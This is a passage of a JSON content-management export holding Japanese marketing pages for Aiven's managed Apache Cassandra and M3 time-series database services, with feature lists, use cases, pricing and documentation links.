、CLI、または"},{"_key":"65f358ff37971","_type":"span","marks":["d8987092f405"],"text":"Terraform"},{"_key":"65f358ff37972","_type":"span","marks":[],"text":"ツールを使用してCassandraクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d8987092f405","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"77db757e221a","_type":"block","children":[{"_key":"57a999fd4189","_type":"span","marks":[],"text":"数クリックだけで、スケーリング、データベースのフォーク、アップグレードを実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"00005ded3ca3","_type":"block","children":[{"_key":"08c8e2b851fe0","_type":"span","marks":[],"text":"オープンソースソフトウェアとの互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"20d92ee215f1","_type":"block","children":[{"_key":"d446e753d4630","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f86f1fae1c59cee5854cd0a91016f7e94bf2d08b-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"b4a8c31527f1","_type":"block","children":[{"_key":"bc6815af0fdb0","_type":"span","marks":[],"text":"自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"722937e2f931","_type":"block","children":[{"_key":"e63affb57a92","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"347fe3c4c5fd","_type":"block","children":[{"_key":"182228da3c680","_type":"span","marks":[],"text":"プランに応じた12時間ごとの自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d0fe6b2554eb","_type":"block","children":[{"_key":"a0d5a7c3999e0","_type":"span","marks":["fe474bf8169f"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"9fc7eb5f03ca","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fe474bf8169f","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/cassandra","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Aiven for Apache Cassandra®入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"7738d478c788","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"6ZDXHjT69kyBI80TVQmyE8","_type":"reference"},"title":"詳しく見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-1b2975474525248f42112b6f69072ab788dff026-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"e7380d245800","_type":"block","children":[{"_key":"a9347459e9700","_type":"span","marks":[],"text":"ワイドカラム型データストアについて、Cassandraに焦点を当て、このオープンソースデータベースの全容をご説明します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Apache Cassandra®の紹介","variant":"default"},{"_key":"30c7f016be8e","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"31KO0a4ngqFD8DZLjKKkti","_type":"reference"},"title":"詳しく見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"5f7eaac8a3f0","_type":"block","children":[{"_key":"e075b7791fcd0","_type":"span","marks":[],"text":"sstableloaderを使用して、外部Apache Cassandra®データをAivenに簡単かつ迅速に移行する方法について説明します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"sstableloaderを使用したAivenへのApache Cassandra®データの移行","variant":"default"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"リソース","title":"Aiven for Apache Cassandra®の使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"19f145bd643d","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"f8d16a63c3d5","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Cassandra - フルマネージド、ワイドカラムNoSQLデータベース ✓ オールインワンオープンソースクラウドデータプラットフォーム ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2ccc6137425916c2703204b68777801d41228e0b-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Cassandra®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドCassandra、Cassandra as a Service、Cloud Cassandra\",\n \"description\": \"Aiven for Apache Cassandraは、スケーラビリティ、高可用性、優れたフォールトトレランスを提供するマネージド・ホスティング型の分散型NoSQLデータベースです。Cassandra as a Serviceは、Google Cloud Platform、Amazon Web Services、Microsoft Azure、DigitalOcean、UpCloudで利用可能です。\",\n \"featureList\": \"Terraform対応、自動バックアップ、VPCピアリング、高可用性、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/cassandra\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースの分散型NoSQLデータベース\",\n \"applicationSubCategory\": \"非リレーショナルデータベース\"\n}","metaTitle":"Managed Apache Cassandraサービス|Aiven"},"service":{"_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},"slug":{"_type":"slug","current":"/cassandra"},"title":"Cassandra"} {"__i18n_base":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-30T16:52:15Z","_id":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_rev":"L3boCkkiM9On4ApfxNjX5X","_type":"product","_updatedAt":"2024-03-12T04:50:54Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for M3","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"07e92b781c6d","_type":"block","children":[{"_key":"2f178465b6c30","_type":"span","marks":[],"text":"フルマネージドM3DBは、無制限のスケーラビリティと高可用性を備えた高性能時系列データベースです。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-a373b736bde3d823e4aab82d21d5be197aea5256-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/m3db","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for M3","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"},"title":"Aiven for M3"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for M3"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"075c192ec54b","_type":"block","children":[{"_key":"917274f012c20","_type":"span","marks":[],"text":"高性能なTSDBをAiven for M3とともに手に入れる"}],"markDefs":[],"style":"h3"},{"_key":"2182b68816e4","_type":"block","children":[{"_key":"ef9b81e9db5b0","_type":"span","marks":[],"text":"M3DBは、高度に変動するデータのために構築されています。調整可能な時間精度と高効率な圧縮を特徴とし、大規模な運用とタイムスタンプデータの変化する要求に対応します。M3 Aggregatorを追加することで、M3DBクラスタのリソースを節約し、データベースクラスタから独立してアグリゲーション部分を拡張することができます。"}],"markDefs":[],"style":"normal"},{"_key":"fd2853047154","_type":"block","children":[{"_key":"66873fec912c0","_type":"span","marks":[],"text":"Aiven for M3により、M3を当社のフルマネージドサービスのポートフォリオの監視バックエンドとして簡単にデプロイすることができます。Prometheusを含む最も一般的なプロトコルをサポートし、さまざまな統合オプションやインターフェースを備えているため、Aiven for M3サービスはタイムスタンプ付きデータの要件や、Prometheus監視ソリューションのスケールアウト(水平スケール)に対応することが可能です。"}],"markDefs":[],"style":"normal"},{"_key":"8e841d062f7c","_type":"block","children":[{"_key":"20197a41238d0","_type":"span","marks":["66c0ef43edc7"],"text":"M3入門(ブログ)"}],"markDefs":[{"_key":"66c0ef43edc7","_type":"internalLink","internalLink":{"_ref":"2CXbr629zjZaIp4ylrhkzD","_type":"reference"}}],"style":"normal"},{"_key":"74bdb8fe96e6","_type":"block","children":[{"_key":"26870d78e7df0","_type":"span","marks":["14eda9e2d2af"],"text":"Aiven for M3(ドキュメント)"}],"markDefs":[{"_key":"14eda9e2d2af","_type":"link","href":"https://aiven.io/docs/products/m3db"}],"style":"normal"}]}],"subtitle":[{"_key":"554896211791","_type":"block","children":[{"_key":"aec66044de420","_type":"span","marks":[],"text":"M3は、大容量でカーディナリティの高い、タイムスタンプ付きデータのための理想的なソリューションです。監視ソリューションのメトリクスデータベースとして、また、高い頻度で大量のデータが生成されるあらゆるケースでの使用に最適です。また、Aivenを使用すれば、数分でM3をデプロイし、既存のアーキテクチャをスケールアップすることが可能です。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"M3でできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"4edce3fd736a","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"m3"},{"_key":"476d460c25f0","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"iconSize":48,"icons":[{"_key":"ecce1fb1533e","_type":"iconItem","cta":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/m3db/concepts/m3-components","title":"詳細はこちら"},"iconImage":{"_type":"mainImage","asset":{"_ref":"image-2374ddc8256c5a07aa6741102893aa4dc9e75f19-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"58d4cf519195","_type":"block","children":[{"_key":"ea89f6e6790d0","_type":"span","marks":[],"text":"Aiven for M3 Aggregatorは、時系列データの集計を使用するワークロード用に、フルマネージドの専用クラスターを好みのクラウドにすぐにデプロイすることが可能です。M3DBクラスターから独立して拡張することでスループットを向上させ、クラスターノード間でアグリゲーションを複製することで高可用性を実現します。"}],"markDefs":[],"style":"normal"}],"title":"M3 Aggregator "}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"variant":"icon-left"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0ca3c7831c13","_type":"block","children":[{"_key":"4835d23bf00b0","_type":"span","marks":[],"text":"M3 Aggregatorは、アグリゲーションデータをアーキテクチャに組み込んで複製し、M3DBクラスターから独立してスケーリングすることができます。"}],"markDefs":[],"style":"normal"}],"title":"独立したスケーリング - レプリケートされたアグリゲーション"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68815dd6081f","_type":"block","children":[{"_key":"832d37b2baea0","_type":"span","marks":[],"text":"Aivenのマネージドサービスは、最初の1行のコードから安全に構築されています。専用VMと日次バックアップにより、タイムスタンプ付きのデータも安全に保護されます。"}],"markDefs":[],"style":"normal"}],"title":"圧倒的なパフォーマンスとAivenの信頼性"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a3425f99c5bb","_type":"block","children":[{"_key":"2a0cb07f79ce0","_type":"span","marks":[],"text":"メンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。お客様がデータを活用することに専念できるために、このような作業は私たちにおまかせください。"}],"markDefs":[],"style":"normal"}],"title":"自動でアップデート、自動アップグレードによりストレスゼロ"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for M3の価格には、すべてが含まれています。一括払いで必要なコストはすべて含まれており、必要なときにはいつでもスケールアップ(あるいはスケールダウン)できます。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性の高い価格設定 - ネットワークコストは不要"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"03dd9d5f53c1","_type":"block","children":[{"_key":"cc94e24d9b570","_type":"span","marks":[],"text":"Aivenを使用すれば、時系列データベースを本番環境に数分で簡単にデプロイできます。サーバやストレージの増設、アップグレード、別のクラウドプロバイダーへの移行も、ダウンタイムなくボタンひとつで実行できます。"}],"markDefs":[],"style":"normal"},{"_key":"b71be1fd68f8","_type":"block","children":[{"_key":"4ac8e5fa0f460","_type":"span","marks":[],"text":"充実した機能、相互運用性、拡張性、使いやすさ、包括的な価格設定という点において、Aiven for M3に勝るものはありません。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for M3 TSDBサービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"073c0f8f3063","_type":"block","children":[{"_key":"d4e30a0df0c50","_type":"span","marks":[],"text":"IoTの導入が進む中、接続された水、エネルギー、温度計、ヘルスモニター、ウェアラブル技術によって生成されるデータの量は指数関数的に増加しています。M3の拡張性の高いデータベースアーキテクチャは、カーディナリティの高いデータに最適です。"}],"markDefs":[],"style":"normal"}],"title":"IoTビジネスの展開","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"46b5cdc28d45","_type":"block","children":[{"_key":"b6b99de61ef40","_type":"span","marks":[],"text":"Aiven for M3は。大規模な監視に適しています。監視、ロギング、分析、診断、アラートツール(Grafana®、OpenSearch®など)と組み合わせることで、システムを円滑に運用するための完全に統合されたオブザーバビリティプラットフォームを構築できます。"}],"markDefs":[],"style":"normal"}],"title":"オブザーバビリティ(可観測性)","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"3f56fe77a21f","_type":"block","children":[{"_key":"ede24b063b350","_type":"span","marks":[],"text":"一般的なPrometheusの標準環境には、拡張性のないシングルサーバーのデータベースが含まれています。Aiven for M3を利用すれば(Prometheusインターフェースに対応しているため)、数回のクリックで無制限のスケーラビリティを手に入れることができます。"}],"markDefs":[],"style":"normal"}],"title":"大規模なシステム監視","variant":"icon-card"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるM3の活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=m3db","title":"プランを見る"},"subtitle":[{"_key":"c810a0758d42","_type":"block","children":[{"_key":"fe30898067910","_type":"span","marks":[],"text":"月額200ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"}],"rounded":false,"subtitle":[{"_key":"d23210fcd34a","_type":"block","children":[{"_key":"f1ef4b0bdc150","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。プライベートネットワーク(VPC)、シングルテナント、高い可用性のマルチAZを利用できます。必要なときにクラスタやリージョンをスピンアップし、不要なときにシャットダウンできます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格 - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐ最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-2258a387b3c938a27d826e804d789c6507e8d2f2-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"e52cf713446c","_type":"block","children":[{"_key":"1bac63912acb0","_type":"span","marks":[],"text":"10分でフルマネージドM3DBクラスタを稼働"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5cfc32dc95c4","_type":"block","children":[{"_key":"f8d7baf4d1530","_type":"span","marks":[],"text":"70以上のリージョンのAWS、GCPまたはAzureにデプロイ可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"019941de2791","_type":"block","children":[{"_key":"ba2e6eed9ed60","_type":"span","marks":[],"text":"無制限の拡張性、高可用性、マルチAZ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"79ee48b7c77b","_type":"block","children":[{"_key":"a3ceb12b4c3f0","_type":"span","marks":[],"text":"M3 Aggregatorをアドオンサービスとして使用することで、効率的なデータ圧縮と集計を行い、ストレージ要件を低減"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3bfb970393a9","_type":"block","children":[{"_key":"51931af317790","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"51931af317791","_type":"span","marks":["28b1219a8f0b"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"51931af317792","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"28b1219a8f0b","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-6fddd8c1435ca320a7b8a0357a180edc404fbab5-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"13e22b22498d","_type":"block","children":[{"_key":"01252093ac8e0","_type":"span","marks":[],"text":"Prometheus、Influx、Graphiteプロトコルをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"439b7c25a34f","_type":"block","children":[{"_key":"c78a37c50f440","_type":"span","marks":["f188cb230184"],"text":"Aiven for Grafana®と統合"},{"_key":"c78a37c50f441","_type":"span","marks":[],"text":"することで視覚化を実現し、"},{"_key":"c78a37c50f442","_type":"span","marks":["c8f84dd32360"],"text":"Prometheus"},{"_key":"c78a37c50f443","_type":"span","marks":[],"text":"をリモートストレージとして使用"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f188cb230184","_type":"link","href":"https://docs.aiven.io/docs/products/m3db/howto/grafana"},{"_key":"c8f84dd32360","_type":"link","href":"https://docs.aiven.io/docs/products/m3db/howto/prometheus-storage"}],"style":"normal"},{"_key":"98f1aee3acca","_type":"block","children":[{"_key":"276a7688ec8c0","_type":"span","marks":["8c98ce60d366"],"text":"VPC peering"},{"_key":"276a7688ec8c1","_type":"span","marks":[],"text":"、またはTransitGatewayテクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8c98ce60d366","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"}],"style":"normal"},{"_key":"6b0de7c591a6","_type":"block","children":[{"_key":"3d7f81bfe7610","_type":"span","marks":[],"text":"お気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"49470154d287","_type":"span","marks":["a6226b082001"],"text":"統合"},{"_key":"f70579dfc53a","_type":"span","marks":[],"text":"したり、Aivenの可観測性ツールを使用して監視とログ記録を強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a6226b082001","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"a37b5ad26f63","_type":"block","children":[{"_key":"fd714fc6a5380","_type":"span","marks":[],"text":"Aivenの他のサービスから指標を受け取り、事前構築済みダッシュボードで健全性を監視"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-fd540c57bdfbffe016558ec5c484ee584c44280e-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"管理","text":[{"_key":"b571d51c094f","_type":"block","children":[{"_key":"f3c48feb23e50","_type":"span","marks":[],"text":"Aiven Console (GUI) 、CLI、または"},{"_key":"f3c48feb23e51","_type":"span","marks":["c58a02805d92"],"text":"Terraform"},{"_key":"f3c48feb23e52","_type":"span","marks":[],"text":"ツールを使用してM3クラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c58a02805d92","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"994513e0aa7c","_type":"block","children":[{"_key":"a9c49cb797070","_type":"span","marks":[],"text":"数クリックでスケールアップ、データベースのフォーク、他サービスとの統合を実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e1b9cb86c6d0","_type":"block","children":[{"_key":"960953d9e1700","_type":"span","marks":[],"text":"オープンソースソフトウェアとの互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e2920dea42d2","_type":"block","children":[{"_key":"edb5da123a250","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"fd2e64209552","_type":"block","children":[{"_key":"7f3b3382e9650","_type":"span","marks":[],"text":"自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"29bc276c9933","_type":"block","children":[{"_key":"d03e77f21fb00","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d929daf16232","_type":"block","children":[{"_key":"02d23118c75c0","_type":"span","marks":[],"text":"プランに応じた日次単位の自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57c179d13cc5","_type":"block","children":[{"_key":"ddddef66a2870","_type":"span","marks":["160c5fb1c80d"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"357280eeff15","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"160c5fb1c80d","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/m3db","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"70ed1c203369","_type":"block","children":[{"_key":"58e40df4fa100","_type":"span","marks":[],"text":"Aiven for M3とAiven for M3 